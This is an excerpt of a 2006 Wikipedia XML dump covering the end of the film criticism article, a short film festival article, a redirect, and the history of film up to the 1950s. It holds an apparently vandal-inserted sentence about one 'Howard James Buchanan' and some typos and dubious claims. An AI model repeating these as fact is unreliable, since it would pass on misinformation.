Studios respect the clout of reviewers. There have been several films in which film companies have so little confidence that they refuse to give reviewers an advanced viewing to avoid widespread panning of the film (such as ''[[The Avengers (film)|The Avengers]]'').  However, this usually backfires as reviewers are wise to the tactic and warn the public that the film may not be worth seeing. Such films often do poorly as a result.

Since so much money is riding on positive reviews, studios often work to woo film critics.  Any major release is accompanied by mailings to film critics [[press kit]]s containing background information, photos for use in a publication, and often small gifts.  Film reviewers who appear on television are given clips from the movie which they may use.

==== &quot;Quote whoring&quot; ====

Almost all films, no matter how badly panned they are by other critics, can find some reviewers to praise them.  These praises often appear in the ads for the movies.  Often used are stock phrases such as &quot;spectacular,&quot; &quot;edge-of-the-seat,&quot; &quot;thrilling,&quot; &quot;joy ride,&quot; &quot;triumph,&quot; &quot;tour de force.&quot;

These reviews are sometimes obtained by the studio offering to fly a group of critics from cities across the United States to either [[New York]] or [[Los Angeles]] for a weekend that  includes a screening of the studios newest film.  This screening normally occurs well before other critics have seen the film.  Added to this &quot;free vacation&quot; are often elaborate gifts.  After the screening the studios ask the critics to write a small review, often only a few sentences.  From these reviews they draw advertising blurbs.

Other critics strongly oppose this practice arguing it is selling reviews for bribes.  [http://www.efilmcritic.com eFilmcritic.com] published an [http://www.efilmcritic.com/feature.php?feature=712 expose] of the most notorious &quot;critic&quot; in this category, Earl Dittman.  

One reviewer who was widely labeled a &quot;[[quote whore]]&quot; was [[David Manning (fictitious writer)|David Manning]], whose quotes often appeared on promotional posters for [[Columbia Pictures]]. In early [[June 2001]], the company admitted that Manning was an entirely fictional creation of their [[marketing]] department.  In 2005, the studio reached a $1.5 million settlement and agreed to refund the ticket price for viewers who attended certain movies, including ''A Knight's Tale'' and ''Hollow Man''.

=== Online film reviews ===

Some websites seek to improve the usefulness of film reviews by compiling them acertain a general opinion.  [[Rotten Tomatoes]] and [[Metacritic]] are two such examples.  The [[Online Film Critics Society]], an international professional association of Internet-based cinema reviewers, consists of writers from all over the world.

Some websites specialize in narrow aspects of film reviewing.  For instance, there are sites that focus on specific content advisories for parents to judge a film's suitability for children.  Others focus on a religious perspective.  Still others highlight more esoteric subjects such as the depiction of [[science]] in fiction films.  One such example is ''Insultingly Stupid Movie Physics'' by [[Intuitor]].

One unique website, [[Everyone's a Critic]], allows anyone to publish film reviews and comment on them.

=== Notable journalistic critics ===
*[[Rona Barrett]]
*[[James Berardinelli]]
*[[Ernest Callenbach]]
*[[Cinecast]]
*[[Roger Ebert]] (''[[Chicago Sun-Times]]'' [[Siskel &amp; Ebert]])
*[[David Edelstein]] (''New York Magazine'', [[NPR]]'s ''Fresh Air'', ''[[CBS]] Sunday Morning'')
*[[Àlex Gorina]]
*[[Leslie Halliwell]]
*[[Pauline Kael]] 
*[[Stanley Kauffmann]] ([[The New Republic]])
*[[Dave Kehr]] (''[[The New York Times]]'')
*[[Mark Kermode]]
*[[Harry Knowles]] (''[[Ain't It Cool News]]'')
*[[Tim Lucas]] (''[[Video Watchdog]]'')
*[[Derek Malcolm]], (the [[Manchester]] ''[[The Guardian|Guardian]]'')
*[[Leonard Maltin]]
*[[Janet Maslin]]
*[[Nell Minow]], Yahoo!'s &quot;Movie Mom&quot;
*[[Khalid Mohammed]] ''([[Bollywood]] films, previously for [[The Times of India]] and [[Midday]]'')
*[[Barry Norman]]
*[[Rex Reed]]
*[[Richard Roeper]] ([[Ebert &amp; Roeper]])
*[[Jonathan Rosenbaum]] (''[[Chicago Reader]]'') also author of several books on Hollywood and film criticism.
*[[Jonathan Ross]]
*[[Danielle Savage]]
*[[A. O. Scott]] (''[[New York Times]]'')
*[[Gene Shalit]] ([[ABC Television)]]
*[[Joel Siegel]]
*[[John Ivan Simon]]
*[[Gene Siskel]] (''[[Chicago Tribune]]'', [[Siskel &amp; Ebert]])
*[[David Stratton]]
*[[Peter Travers]] (''[[Rolling Stone]]'')
*[[Parker Tyler]] 
*[[Alexander Walker]] for the [[London]] ''[[ Evening Standard]]'' and others
*[[David Walsh]] (World Socialist Web Site)
* Matt Weatherford, aka [[The Filthy Critic]]

==Academic criticism==
Some claim that journalist film critics should only be known as film reviewers, and that true film critics are those who take a more academic approach to films.  This work is more often known as [[film theory]] or [[film studies]].  These film critics try to come to understand why film works, how it works, what it means, and what effects it has on people.  Rather than write for mass-market publications their articles are published in scholarly journals, or sometimes in up-market magazines.  They also tend to be affiliated with universities.

=== Notable academic critics ===
*  [[Taran Adarsh]]
*  [[Rudolf Arnheim]]
*  [[Béla Balázs]]
*  [[André Bazin]]
*  [[Jean-Louis Beaudry]]
*  [[Peter Bogdanovich]]
*  [[David Bordwell]]
*  [[Ernest Callenbach]]
*  [[Ray Carney]]
*  [[Serge Daney]]
*  [[Maya Deren]]
*  [[Mary Ann Doane]]
*  [[Sergei Eisenstein]]
*  [[Siegfried Kracauer]]
*  [[Christian Metz]]
*  [[Laura Mulvey]]
*  [[William Rothman]]
*  [[Andrew Sarris]]
*  [[Kaja Silverman]]
*  [[Kristin Thompson]]
*  [[Slavoj Žižek]]

==See also==
*[[Film journals and magazines]]

==Further reading==
*Jonathan Rosenbaum, ''Movie Wars: How Hollywood and the Media Conspire to Limit What Films We Can See'', A Cappella Books 2000

*Slavoj Žižek, &lt;i&gt;The Žižek Reader&lt;/i&gt; (edited by Elizabeth Wright and Edmond Wright), Blackwell Publishing 1999

*Maya Deren, &lt;i&gt;Essential Deren: Collected Writings on Film by Maya Deren&lt;/i&gt; (edited by Bruce R. McPherson), Documentext 2005

*Raúl Ruiz, &lt;i&gt;Poetics of Cinema&lt;/i&gt; (translated by Brian Holmes) Dis Voir 2005

==External links==
(sorted by domain name)
*[http://www.brightlightsfilm.com/ Bright Lights Film Journal] 
*[http://www.everyonesacritic.net Everyone's A Critic]
*[http://www.filmsite.org Filmsite.org]
*[http://www.independentcritics.com Independent Critics]
*[http://www.imdb.com Internet Movie Database]
*[http://www.kamera.co.uk Kamera]
*[http://www.latrobe.edu.au/screeningthepast/ Screening the Past]
*[http://www.mrqe.com/lookup Movie Review Query Engine]
*[http://www.offscreen.com/ Offscreen]
*[http://www.rogerebert.com/ Roger Ebert]
*[http://www.rottentomatoes.com Rotten Tomatoes]
*[http://ofcs.rottentomatoes.com The Online Film Critics Society]
*[http://www.sensesofcinema.com/ Senses of Cinema]
*[http://www.sensesofcinema.com/links.html Links to everything else]
*[http://www.thefilmjournal.com/index.html The Film Journal]


[[Category:Film criticism|*]]

[[de:Filmkritik]]
[[es:Crítico de cine]]
[[ja:映画評論]]</text>
    </revision>
  </page>
  <page>
    <title>Film festival</title>
    <id>10781</id>
    <revision>
      <id>41095916</id>
      <timestamp>2006-02-25T00:43:26Z</timestamp>
      <contributor>
        <username>Demicx</username>
        <id>769154</id>
      </contributor>
      <text xml:space="preserve">A '''film festival''' is a mostly annual [[festival]] in one or more [[movie theater]]s with a special program showcasing many [[film|films]]. The films are usually of a recent date; sometimes there is a focus on a specific genre (e.g. [[animation]]) or subject (e.g. gay and lesbian film festivals). 

The world's first major film festival was held in [[Venice Film Festival|Venice]] in 1932; the other major film festivals of the world ([[Berlin Film Festival|Berlin]], [[Cannes Film Festival|Cannes]], [[Moscow International Film Festival|Moscow]] and [[Karlovy Vary International Film Festival|Karlovy Vary]]) date back to the 1940s and 1950s.

The [[Edinburgh International Film Festival]] in [[Scottland]] was established in 1947 and is the longest continually running film festival in the world.

The first North American film festival was the [[San Francisco International Film Festival]] held in March 1957. It played a major role in introducing foreign films to American audiences.  Among the films were [[Akira Kurosawa]]'s [[Rashomon (film)|Rashomon]] and [[Satyajit Ray]]'s  [[Pather Panchali]]. 

The [[Toronto International Film Festival| Toronto]] festival in [[Canada]], begun in 1976, is now the major North American film festival and the most widely attended worldwide.

The [[Ivy Film Festival]] at [[Brown University]] in [[Providence, Rhode Island]] is the largest student film festival in North America and the only student-run film festival in the world.

The festivals in [[Toronto International Film Festival|Toronto]], [[Venice Film Festival|Venice]], [[Sundance Film Festival|Sundance]], [[Cannes Film Festival|Cannes]], [[International Film Festival Rotterdam|Rotterdam]], [[Berlin Film Festival|Berlin]], [[Moscow Film Festival|Moscow]], (since [[2002]]) [[Locarno International Film Festival|Locarno]] and [[Karlovy Vary International Film Festival|Karlovy Vary]] are listed as so-called &quot;A festivals&quot;, or the most prestigious in the world. New films may be screened at only one of these festivals.

==See also==
* [[List of film festivals]]

==References==
*Turan, Kenneth, ''Sundance to Sarajevo: Film Festivals and the World They Made'', Los Angeles, University of California Press, 2002, hardback, ISBN 0520218671.
* [http://www.talkingpix.co.uk/ArticleFilmFestivalSensations.html Talking Pictures website] The Sense and Sensationalism of Film Festivals by [[Nigel Watson]]

{{film-award-stub}}

[[Category:Cultural festivals]]
[[Category:Film festivals| ]]

[[bs:Filmski festival]]
[[da:Filmfestival]]
[[de:Filmfestival]]
[[kn:ಚಲನಚಿತ್ರೋತ್ಸವ]]
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[[zh:电影节]]</text>
    </revision>
  </page>
  <page>
    <title>List of film genres</title>
    <id>10782</id>
    <revision>
      <id>34015102</id>
      <timestamp>2006-01-05T20:32:00Z</timestamp>
      <contributor>
        <ip>62.177.95.239</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Cinematic genre]]</text>
    </revision>
  </page>
  <page>
    <title>History of film</title>
    <id>10783</id>
    <revision>
      <id>42032723</id>
      <timestamp>2006-03-03T09:35:14Z</timestamp>
      <contributor>
        <username>Paki.tv</username>
        <id>305357</id>
      </contributor>
      <text xml:space="preserve">'''Film''' or '''cinema''' is becoming one of the most rapidly moving artistic or communications media ever devised, as befits perhaps the first great [[mass media|mass medium]] of the modern era.  [[Film]] has gone through a remarkable array of changes and developed a remarkable variety and sophistication in barely more than one hundred years of existence.

==The birth of film==

===Technological ancestors===
{{main|Precursors of film}}

For centuries, humans had experimented with what would become the two key elements of cinema: the projection of images using light (such as with the [[camera obscura]] and the [[Magic lantern]]); and the illusion of motion created by exploiting the optical phenomenon called &quot;[[persistence of vision]]&quot; (such as with the [[zoetrope]], introduced in the [[1830s]]).  The invention and spread of [[photography]] in the mid-19th century provided the key missing element.  

Even from here, the &quot;birth&quot; of the movies was actually a gradual process of evolution with many blind alleys and crisscrossing paths.  It involved a number of individuals in Europe, Britain and America who, from the [[1860s]] on, worked on often similar inventions with varying degrees of success.  [[Eadward Muybridge]], [[Louis Le Prince]] and [[Ottomar Anschütz]] were among those who designed pioneering machines for projection of rapidly moving images.  [[George Eastman]], the American founder of [[Eastman Kodak]], [[Hannibal Goodwin]] and [[William Friese Greene]] all worked on early prototypes of motion picture film.

===Ready for an audience===

[[W.K. Laurie Dickson]], a researcher at the Edison Laboratories, is credited with the invention of a practicable form of celluloid strip containing a sequence of images, the basis of a method of photographing and projecting moving images. In 1894, [[Thomas Edison]] introduced to the public the [[Kinetograph]], the first practical [[movie camera|moving picture camera]], and the [[Kinetoscope]]. The latter was cabinet in which a continuous loop of film (powered by an electric motor) was projected by a lamp and lense onto a glass. The spectator viewed the image through an eye piece. Kinetoscope parlours were supplied with fifty-foot film snippets shot by Edison employee [[W.K. Dickson]], the device's chief inventor, in their &quot;[[Edison's Black Maria|Black Maria]]&quot; studio.  These films were usually short sequences by acrobats, music hall performers, and also included boxing demonstrations. Kinetescope Parlours soon spread to Europe, and aroused a great deal of interest. 

Edison believed that he had a monopoly position, as he was the only one with a camera. Two Greek entrepreneurs called upon [[Robert Paul]], a British electrician and scientific instrument maker of Hatton garden, London.They asked him to build a number of replicas of a kinetoscope that they had acquired.To his amazement, he foundthat Edison had not patented this invention in Britain, and he went on to produce a number on his own account. One of these was supplied to [[Georges Melies]], and aroused his interest in the possibilities of film. As films for these machines were in short supply, Paul, with the assistance of [[Birt Acres]] invented a camera. One of their first films was of the Derby, won by the Prince of Wales's horse.

Edison never thought of projecting his films. However, Paul hit upon the idea, and invented a film projector, giving his first public showing in 1895. about the same time, [[Auguste and Louis Lumière]], also inspired by the kinetoscope, invented the [[cinematographe|cinematograph]], a portable, three-in-one camera, developer/printer, and [[movie projector|projector]].  In France in late 1895, the Lumière brothers began exhibitions of projected films before the paying public.  They sparked the move from single-viewer units to projection (Cook, 1990), and quickly became Europe's leading producers of the new medium.  Even Edison joined the burgeoning projection trend with the [[Vitascope]] within less than six months.

The movies of the time were seen mostly via temporary storefront spaces and travelling exhibitors or as acts in [[vaudeville]] programs.  A film could be under a minute long and would usually present a single scene, authentic or staged, of everyday life, a public event, a sporting event or [[slapstick]].  There was little to no cinematic technique: no [[film editing|editing]] and usually no camera movement, and flat, stagey compositions.  But the novelty of realistically moving photographs was enough for a motion picture industry to mushroom before the end of the century, in countries around the world.

==The silent era==
{{main|Silent film}}
Inventors and producers had tried from the very beginnings of moving pictures to marry the image with synchronous sound, but no practical method was devised until the late 1920s.  Thus, for the first thirty years of their history, movies were more or less silent, although accompanied by live musicians and sometimes sound effects, and with dialogue and narration presented in [[intertitle]]s.

===Early developments in technique, form and business===

Paris stage magician [[Georges Méliès]] began shooting and exhibiting films in 1896.  His stock-in-trade became films of [[fantasy]] and the bizarre, including ''[[A Trip to the Moon]]'' (1902), possibly the first movie to portray [[space travel]].  He pioneered many of the fundamental [[special effect|special effects]] techniques used in movies for most of the twentieth century, demonstrating the revolutionary point that film had unprecedented power to bend visible reality rather than just faithfully recording it (Cook, 1990).  He also led the way in making multi-scene narratives as long as fifteen minutes the industry standard.

[[Edwin S. Porter]], Edison's leading [[film director|director]] in these years, pushed forward the sophistication of [[film editing]] in works like ''[[Life of an American Fireman]]'' and the first movie [[Western (genre)|Western]], ''[[The Great Train Robbery (1903 movie)|The Great Train Robbery]]'' (both 1903).  Porter arguably discovered that the basic unit of structure in a film is the [[Shot (film)|shot]], rather than the scene (the basic unit of structure in a [[play]]).

These developments helped establish the medium as more than a passing fad and encouraged the boom in [[nickelodeon movie theater|nickelodeons]], the first permanent [[movie theaters]].  There were 10,000 in the U.S. alone by 1908 (Cook, 1990).  The previously anarchic industry increasingly became big business, which encouraged consolidation.  The French [[Pathe|Pathé Frères]] company achieved a dominant position worldwide through methods like control of key patents and ownership of theaters.  In the U.S., Edison led the creation of the [[Motion Picture Patents Company]], which achieved a brief, virtual [[monopoly]] there, using not just aggressive business tactics but sometimes violent intimidation against independent competitors (Parkinson, 1995).

It is disputed that Howard James Buchanan attended Charlie Chaplin's films on their original release dates.

===Rise of the feature film and film as art===
The standard length of a film remained one reel, or about ten to fifteen minutes, through the first decade of the century, partly based on producers' assumptions about the attention spans of their still largely [[working class]] audiences.  But in Europe, multiple-reel period extravaganzas began to push the envelope of film length.  With international [[box office]] successes like ''Queen Elizabeth'' (France, 1912), [[Quo Vadis|''Quo Vadis?'']] (Italy, 1913) and ''[[Cabiria]]'' (Italy, 1914), the multi-reel, or &quot;feature&quot;, film began to replace the short as the cinema's central form.

No one was more important in cementing this trend than American director [[D.W. Griffith]] with his historical epics ''[[The Birth of a Nation]]'' (1915) and ''[[Intolerance (movie)|Intolerance]]'' (1916).  Unprecedented in scale, they also did much to fix the developing codes of editing and visual storytelling that remain the foundation of mainstream [[film grammar]].  The former film was also notable as perhaps the first to inspire widespread racial controversy.

Along with a boom in high-toned literary adaptations, these trends began to make the movies a respectable diversion for the [[middle class]] and gain them recognition as a genuine art form with a secure place in the emerging culture of the twentieth century.

===Hollywood triumphant===
Until this point, the cinemas of [[Cinema of France|France]] and [[Cinema of Italy|Italy]] had been the most globally popular and powerful.  But the [[Cinema of the United States|United States]] was already gaining quickly when [[World War I]] (1914-1918) caused a devastating interruption in the European film industries.  The American industry, or &quot;[[Hollywood]],&quot; as it was becoming known after its new geographical center in [[California]], gained the position it has held, more or less, ever since: movie factory for the world, exporting its product to most countries on earth and controlling the market in many of them.

By the [[1920]]s, the U.S. reached what still stands as its era of greatest-ever output, producing an average of 800 ''feature'' films annually [http://www.filmsite.org/20sintro.html], or 82% of the global total (Eyman, 1997). The comedies of [[Charlie Chaplin]] and [[Buster Keaton]], the [[swashbuckler|swashbuckling]] adventures of [[Douglas Fairbanks]] and the romances of [[Clara Bow]], to cite just a few examples, made these performers’ faces iconic on every continent. The Western visual norm that would become classical [[continuity editing]] was solidified and exported everywhere - although its adoption was slower in some non-Western countries without strong [[realism (arts)|realist]] traditions in art and drama, such as [[Cinema of Japan|Japan]].

This explosion was vitally intertwined with the growth of the [[studio system]] and its greatest publicity tool, the [[star system (film)|star system]], the engines of American film for decades to come and the models for many other movie industries. The studios’ efficient, top-down control over all stages of their product enabled a new and ever-growing level of lavish production and technical sophistication.  At the same time, the system’s commercial regimentation and focus on glamorous escapism discouraged daring and ambition beyond a certain degree, a prime example being the brief directing career of [[Erich von Stroheim]] in the late teens and the ‘20s.

===World film at the peak of the silents===
But even now, the dominance of mainstream Hollywood entertainment wasn’t as strong as it would be, and alternatives were still widely seen and influential.

[[Cinema of Germany|Germany]] was America’s strongest competitor.  Its most distinctive contribution was the dark, hallucinatory worlds of [[German Expressionism]], which advanced the power of anti-realistic presentation to put internal states of mind onscreen, as well as strongly influenced the emerging [[horror film|horror]] and [[film noir|noir]] genres.  

The newborn [[Cinema of the Soviet Union|Soviet]] cinema was the most radically innovative.  There, the craft of editing, especially, surged forward, going beyond its previous role in advancing a story. [[Sergei Eisenstein]] perfected the technique of so-called [[intellectual montage|dialectical or intellectual montage]], which strove to make non-linear, often violently clashing, images express ideas and provoke emotional and intellectual reactions in the viewer.

The cultural [[avant garde|avant gardes]] of a number of countries worked with [[experimental film|experimental films]], mostly shorts, that completely abandoned linear narrative and embraced abstraction, pure aestheticism and the irrational subconscious, most famously in the work of Spanish [[surrealism|surrealist]] [[Luis Buñuel]].  In some ways, in fact, this decade marked the first serious split between mainstream, &quot;popular&quot; film and [[art film|&quot;art&quot; film]].

Meanwhile, the first feature-length silent film was made in India by Dadasaheb Phalke, considered to be the Father of Indian Cinema. The film was the [[Period piece|period piece]] ''Raja Harishchandra'' (1913), and it laid the foundation for a series of period films. By the next decade the output of [[Indian Cinema|Indian Cinema]] was an average of 27 films per year.

But even within the mainstream, refinement was rapid, bringing silent film to what would turn out to be its aesthetic summit. The possibilities of [[cinematography]] kept expanding as cameras became more mobile (thanks to new booms and [[Camera Dolly|dollies]]) and [[film stock|film stocks]] more sensitive and versatile.  Screen [[acting]] came into its own as a craft, leaving behind its earlier theatrical exaggeration and achieving greater subtlety and psychological realism.  As visual eloquence increased, reliance on intertitles decreased; the occasional film, such as [[F.W. Murnau]]’s ''[[The Last Laugh]]'' (Germany, 1926) even eschewed them altogether.  Paradoxically, at about this point, the silent cinema came abruptly to an end.

==The Sound Era==
Experimentation with [[sound film]] technology, both for recording and playback, had been virtually constant throughout the silent era, but the twin problems of accurate synchronization and sufficient amplification had been daunting (Eyman, 1997).  In 1926, Hollywood studio [[Warner Bros.]] introduced the &quot;[[Vitaphone]]&quot; system, producing short films of live entertainment acts and public figures and adding recorded sound effects and orchestral scores to some of its major features.  The real turning point came in late 1927, when Warners released ''[[The Jazz Singer]]'', which was mostly silent but contained the first synchronized dialogue (and singing) in a feature film.  It was a gargantuan success, as were follow-ups like Warners' ''The Lights of New York'' (1928), the first all-synchronized-sound feature.  The trend convinced the reluctant industry that &quot;talking pictures&quot;, or &quot;talkies,&quot; were the future.

===Industry impact of sound===
The change was remarkably swift. By the end of 1929, Hollywood was almost all-talkie, with several competing sound systems (soon to be standardized). Total changeover was slightly slower in the rest of the world, principally for economic reasons. Cultural reasons were also a factor in countries like [[Cinema of China|China]] and [[Cinema of Japan|Japan]], where silents co-existed successfully with sound well into the 1930s, indeed producing what would be some of the most revered classics in those countries, like [[Wu Yonggang]]'s ''The Goddess'' (China, 1934) and [[Yasujiro Ozu]]'s ''I Was Born, But...'' (Japan, 1932). But even in Japan, a figure such as the ''benshi'', the live narrator who was a major part of Japanese silent cinema, found his days were numbered.

Sound further tightened the grip of major studios in numerous countries: the vast expense of the transition overwhelmed smaller competitors, while the novelty of sound lured vastly larger audiences for those producers that remained. In the case of the U.S., some historians credit sound with saving the Hollywood studio system in the face of the [[Great Depression]] (Parkinson, 1995). Thus began what is now often called &quot;The Golden Age of Hollywood,&quot; which refers roughly to the period beginning with the advent of sound until the late 1940s. The American cinema reached its peak of efficiently manufactured glamour and global appeal during this period. The top actors of the era are now thought of as the classic movie stars, such as [[Clark Gable]], [[Katharine Hepburn]], [[Humphrey Bogart]] and the number one box office draw of the '30s, child performer [[Shirley Temple]].

Sadly, the impact of sound in films also ruined the careers of many stars of the Silent Era, especially if the stars in question have bad speaking (or heavily accented) voices or their voices do not match their onscreen persona. This list of casualties include [[John Gilbert]], [[Pola Negri]], [[Norma Talmadge]], [[Marie Prevost]], [[Charles Farrell]], [[Corinne Griffith]], among others. Some, like [[Greta Garbo]], became even bigger stars because of &quot;talkies&quot;.

===Creative impact of sound===
Creatively, however, the lightning-paced transition was a difficult one, and in some ways, film briefly reverted to the conditions of its earliest days.  The late '20s were full of static, stagey talkies as artists in front of and behind the camera struggled with the stringent limitations of the early sound equipment and their own uncertainty as to how to utilize the new medium.  Stage performers, directors and writers flooded the cinema as producers sought personnel experienced in dialogue-based storytelling.  Many major silent filmmakers and actors were unable to adjust and found their careers severely curtailed or even suddenly over.

This awkward period was fairly short-lived.  1929 was a watershed year: [[William Wellman]] with ''Chinatown Nights'' and ''The Man I Love'', [[Rouben Mamoulian]] with ''Applause'', [[Alfred Hitchcock]] with ''[[Blackmail (1929 film)|Blackmail]]'' (Britain's first sound feature), were among the directors to bring greater fluidity to talkies and experiment with the expressive use of sound (Eyman, 1997).  In this, they both benefited from, and pushed further, technical advances in microphones and cameras, and capabilities for editing and post-synchronizing sound (rather than recording all sound directly at the time of filming).

Sound films emphasized and benefited different [[genres]] than silents did.  Most obviously, the [[musical film]] was born; the first classic-style Hollywood musical was ''The Broadway Melody'' (1929) and the form would find its first major creator in [[choreographer]]/director [[Busby Berkeley]] (''42nd Street'', 1933, ''Dames'', 1934).  In France, avant-garde director [[René Clair]] made [[surrealism|surreal]] use of song and dance in comedies like ''Under the Roofs of Paris'' (1930) and ''Le Million'' (1931).  The trend thrived best in [[Cinema of India|India]], where the influence of the country's traditional song-and-dance drama made the musical the basic form of most sound movies (Cook, 1990); virtually unnoticed by the Western world for decades, this Indian popular cinema would nevertheless become the world's most prolific.  (''See also [[Bollywood]].'')

The rhythms of street-smart slang energized American [[gangster film|gangster films]] like ''[[Little Caesar]]'' and Wellman's ''[[The Public Enemy]]'' (both 1931).  Dialogue now took precedence over slapstick in Hollywood comedies: the fast-paced, witty banter of ''[[The Front Page]]'' (1931) or ''[[It Happened One Night]]'' (1935), the sexual double entrendres of [[Mae West]] (''[[She Done Him Wrong]]'', 1933) or the often subversively anarchic nonsense talk of the [[Marx Brothers]] (''[[Duck Soup]]'', 1933).

===The 1940s: the war and post-war years===
The onset of US involvement in [[World War II|WWII]] brought a proliferation of movies as both [[patriotism]] and [[propaganda]]. American propaganda movies included ''Desperate Journey'', ''[[Mrs Miniver]]'', ''Forever and a Day'' and ''Objective Burma''.  Notable American films from the war years include the anti-Nazi ''[[Watch on the Rhine]]'' ([[1943]]), scripted by [[Dashiell Hammett]]; ''[[Shadow of a Doubt]]'' ([[1943]]), Hitchcock's direction of a script by [[Thornton Wilder]]; the [[George M. Cohan]] [[biopic]], ''[[Yankee Doodle Dandy]]'' ([[1942]]), starring [[James Cagney]], and the immensely popular ''[[Casablanca (film)|Casablanca]]'', with [[Humphrey Bogart]]. Bogart would star in 36 films between [[1934]] and [[1942]] including [[John Huston]]'s ''[[The Maltese Falcon]]'', ([[1941]]). 

The need for wartime propaganda also saw a renaissance in the film industry in [[Britain]], with realistic war dramas like ''[[Forty-Ninth Parallel]]'' ([[1941]]), ''[[Went the Day Well?]]'' ([[1942]]), ''[[The Way Ahead]]'' ([[1944]]) and [[Noel Coward]] and [[David Lean]]'s celebrated naval film ''[[In Which We Serve]]'' in [[1942]], which won a special [[Academy Award]]. These existed alongside more flamboyant films like [[Michael Powell]] and [[Emeric Pressburger]]'s ''[[The Life and Death of Colonel Blimp]]'' ([[1943]]), ''[[A Canterbury Tale]]'' ([[1944]]) and ''[[A Matter of Life and Death]]'' ([[1946]]), as well as [[Laurence Olivier]]'s [[1944 in film|1944 film]] ''[[Henry V (1944 film)|Henry V]]'', based on the [[Shakespearean histories|Shakespearean history]] ''[[Henry V (play)|Henry V]]''. 

The strictures of wartime also brought an interest in more fantastical subjects. These included Britain's [[Gainsborough Pictures|Gainsborough]] melodramas (including ''[[The Man in Grey]]'' and ''[[The Wicked Lady]]''), and films like ''Here Comes Mr Jordan'', ''[[Heaven Can Wait]]'', ''I Married a Witch'' and ''[[Blithe Spirit]]''. [[Val Lewton]] also produced a series of atmospheric and influential low budget [[horror film|horror]] films, some of the more famous examples being ''[[Cat People]]'', ''[[Isle of the Dead]]'' and ''[[The Body Snatcher]]''. The decade probably also saw the so-called &quot;women's pictures,&quot; such as ''[[Now, Voyager]]'', ''[[Random Harvest]]'' and ''[[Mildred Pierce]]'' at the peak of their popularity. 

[[1946]] saw RKO Radio releasing ''[[It's a Wonderful Life]]'' directed by [[Frank Capra]].  Soldiers returning from the war would provide the inspiration for films like ''[[The Best Years of Our Lives]]'', and many of those in the film industry had served in some capacity during the war. [[Samuel Fuller]]'s experiences in WWII would influence his largely autobiographical films of later decades such as ''[[The Big Red One]]''. [[The Actor's Studio]] was founded in October [[1947]] by [[Elia Kazan]], Robert Lewis, and [[Cheryl Crawford]], and the same year [[Oskar Fischinger]] filmed ''[[Motion Painting No. 1]]''.

In [[1943]], ''Ossessione'' was screened in Italy, marking the beginning of the [[Italian neorealism|Italian neorealist]] movement.  Major films to come out of the movement in the forties included ''[[Bicycle Thieves]]'', ''[[Rome: Open City]]'', and ''[[La Terra Trema]]''.  In [[1952]] ''[[Umberto D]]'' was released, usually considered the last film of the movement.

In the late forties, in Britain, [[Ealing Studios]] embarked on their series of celebrated comedies, including ''[[Whisky Galore]]'', ''[[Passport to Pimlico]]'', ''[[Kind Hearts and Coronets]]'' and ''[[The Man in the White Suit]]'', and [[Carol Reed]] directed his influential thrillers ''[[Odd Man Out]]'', ''[[The Fallen Idol]]'' and ''[[The Third Man]]''. [[David Lean]] was also rapidly becoming a force in world cinema with ''[[Brief Encounter]]'' and his [[Charles Dickens|Dickens]] adaptations ''[[Great Expectations]]'' and ''[[Oliver Twist]]'', and [[Michael Latham Powell|Michael Powell]] and [[Emeric Pressburger]] would reach the peak of their creative partnership with films like ''[[Black Narcissus]]'' and ''[[The Red Shoes (film)|The Red Shoes]]''.

===The 1950s===
The [[House Un-American Activities Committee]] investigated Hollywood in the early [[1950s]]. [[Protest]]ed by the [[Hollywood blacklist|Hollywood Ten]] before the committee, the hearings resulted in the [[blacklist]]ing of many actors, writers and directors, including Chayefsky, [[Charlie Chaplin]], and [[Dalton Trumbo]], and many of these fled to [[Europe]], especially [[Britain]]. 

The [[Cold War|Cold War era]] [[zeitgeist]] translated into a [[paranoia]] manifested in [[theme (literature)|theme]]s such as [[alien invasion|invading armies of evil aliens]], (''[[Invasion of the Body Snatchers]]'', ''[[The War of the Worlds (1953 film)|The War of the Worlds]]''); and  [[communism|communist]] [[fifth column]]ists, (''[[The Manchurian Candidate]]'').  

In the post-war years Hollywood also faced another threat. [[Living room]]s were beginning to be invaded by [[television]], and the increasing popularity of the medium meant that some movie theatres would go bankrupt and close. The demise of the &quot;studio system&quot; spurred the [[commentary|self-commentary]] of films like ''[[Sunset Boulevard (film)|Sunset Boulevard]]'' ([[1950]]) and ''[[The Bad and the Beautiful]]'' ([[1952]]). 

Distressed by the increasing number of closed theatres, studios and companies would find new and innovative ways to bring audiences back. These included attempts to literally widen their appeal with new screen formats.  [[Cinemascope]], which would remain a [[20th Century Fox]] distinction until [[1967]], was announced with [[1953]]'s ''[[The Robe]]''. [[VistaVision]], [[Cinerama]], boasted a [[Attack of the 50 Foot Woman|&quot;bigger is better&quot;]] approach to [[marketing]] movies to a [[The Incredible Shrinking Man|shrinking US audience]]. This lead to the re-emergence of the epic film to take advantage of the new big screen formats. Some of the most successful examples of these [[Bible|Biblical]] and [[history|historical]] spectaculars include ''[[The Ten Commandments (1956 film)|The Ten Commandments]]'' ([[1956]]), ''[[The Vikings]]'' ([[1958]]), ''[[Ben-Hur (1959 film)|Ben-Hur]]'' ([[1959]]), ''[[Spartacus (film)|Spartacus]]'' ([[1960]]) and ''[[El Cid (film)|El Cid]]'' ([[1961]]).

[[Gimmick]]s also proliferated to lure in audiences. The magic of [[3-D film]] would last for only two years, [[1952]]-[[1954]], and helped sell ''The Creature From The Black Lagoon''. Producer [[William Castle]] would tout films featuring &quot;Emergo&quot; &quot;Percepto&quot;, the first of a long line of gimmicks that would remain popular marketing tools for Castle and others throughout the 1960s.

[[Brown v. Board of Education]] ([[1954]]) set the stage for ''[[The Blackboard Jungle]]'' ([[1955]]), and some notable early TV productions like [[Paddy Chayefsky]]'s ''[[Marty]]'' and [[Reginald Rose]]'s ''[[Twelve Angry Men]]'' would be turned into critically acclaimed films.  

Disney's ''[[Sleeping Beauty (1959 film)|Sleeping Beauty]]'' was released on [[January 29]], [[1959]] by [[The Walt Disney Company|Buena Vista Distribution]] after nearly a decade in production.

Across the globe, the 1950s marked the golden era of [[Indian Cinema]] with more than 200 films being made. Indian films also gained world recognition through films like [[Pather Panchali]] ([[1955]]), from critically acclaimed [[Academy Award]] winning director [[Satyajit Ray|Satyajit Ray]].

In 1950s the [[Ultra-Lettrist]]s and [[Situationist]] cinema movemaent caused riots at the [[Cannes Film Fstival]] when they announced the death of cinema and showed their new [[hypergraphics|hypergraphical]] techniques. The most notorious film is [[Guy Debord]]'s Bombs in Favor of DeSade.

==The 'New Hollywood' or Post-classical cinema==

